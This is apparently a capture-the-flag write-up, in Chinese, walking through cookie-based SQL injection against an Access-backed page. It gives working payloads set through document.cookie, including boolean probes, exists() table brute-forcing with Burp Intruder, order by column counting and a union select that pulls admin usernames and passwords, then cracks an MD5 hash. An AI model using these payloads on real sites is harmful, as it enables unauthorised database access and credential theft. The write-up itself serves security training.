判断cookie注入
点击进入有传参的网页
看到id=171,先测试一下看看能否进行GET注入。在URL地址栏中输入and 1=1,发现提示了过滤这种关键词。于是转而去尝试cookie注入。
按F12进入开发者工具,并找到console(控制台),输入
document.cookie="id="+escape("171")
回车。
删除URL地址栏中的?id=171并回车,页面回显正常,且与id=171的页面相同,这表明存在cookie传参。
测试cookie注入
document.cookie="id="+escape("171 and 1=2") 报错
document.cookie="id="+escape("171 and 1=1") 正常访问
表明输入的语句被当做代码执行,表明存在cookie注入。
暴表名
Access只有一个库,它没有information库,也没有tables表。所以不知道表名时,只能通过盲注函数来判断了。开启burp工具,开启浏览器代理准备抓包。
接下来通过exists()函数来爆破表名。
输入:
document.cookie="id="+escape("171 and exists(select *from a)")
传入intruder模块进行跑包,用sqlmap中自带的字典(data文件夹中,txt文件里的common-tables.txt文件)。
其中 a 是爆破点主要用来查表名
表明如上,看到跑出了很多表,比如admin、user、news等。账号密码一般在盛行Access数据库的年代,都放在admin表的username和password字段中,所以我们重点查找admin表中的字段。
判断字段数
判断当前页面的字段数,这将有助于我们判断admin表的字段数。
首先输入:
document.cookie="id="+escape("171 order by 1")
order by 1到order by 10都回显正常,但order by 11报错,因此字段数为10,下一步查询回显点有哪几位?
判断回显点
输入:
document.cookie="id="+escape("171 union select 111,222,333,444,555,666,777,888,999,101010 from admin")
找见如图中的回显点。
得到显错位为:
2,3,7,8,9
查看网页源代码,搜索其他几个没显示在页面上的数字,看看有没有隐藏的显错位:
查询用户名和密码
输入:
document.cookie="id="+escape("171 union select 1,username,3,4,5,6,password,8,9,10 from admin ")
因此用户名为:admin
密码为16位小写MD5加密,解密后:welcome
登录后台得到flag
进入后台
登录
得到flag为:zkz{welcome-control}
最后提交flag即可